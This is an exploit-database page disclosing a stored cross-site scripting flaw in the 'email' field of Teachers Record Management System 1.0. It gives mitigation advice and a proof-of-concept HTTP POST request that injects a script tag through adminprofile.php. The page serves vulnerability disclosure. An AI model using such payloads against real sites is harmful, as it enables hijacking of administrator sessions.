header-logo
Suggest Exploit
vendor:
Teachers Record Management System
by:
nhattruong
8,8
CVSS
HIGH
Stored Cross-site Scripting (XSS)
79
CWE
Product Name: Teachers Record Management System
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: NO
Related CWE: N/A
CPE: a:phpgurukul:teachers_record_management_system
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 10 + XAMPP v3.2.4
2021

Teachers Record Management System 1.0 – ’email’ Stored Cross-site Scripting (XSS)

Teachers Record Management System 1.0 is vulnerable to stored cross-site scripting (XSS) attacks. An attacker can inject malicious JavaScript code into the 'email' field of the 'adminprofile.php' page. When an administrator views the profile page, the malicious code will be executed in the browser, allowing the attacker to perform various malicious activities.

Mitigation:

Input validation should be used to prevent malicious code from being injected into the 'email' field. Additionally, the application should be configured to use a Content Security Policy (CSP) to prevent malicious code from being executed in the browser.
Source

Exploit-DB raw data:

# Exploit Title: Teachers Record Management System 1.0 – 'email' Stored Cross-site Scripting (XSS)
# Date: 05-10-2021
# Exploit Author: nhattruong
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10 + XAMPP v3.2.4

POC:
1. Go to url http://localhost/admin/index.php
2. Do login
3. Execute the payload
4. Reload page to see the different

Payload:

POST /admin/adminprofile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Origin: http://localhost
Connection: close
Referer: http://localhost/trms/admin/adminprofile.php
Cookie: PHPSESSID=8vkht2tvbo774tsjke1t739i7l
Upgrade-Insecure-Requests: 1

adminname=Adminm&username=admin&mobilenumber=8979555556&email="><script>alert(123);</script>&submit=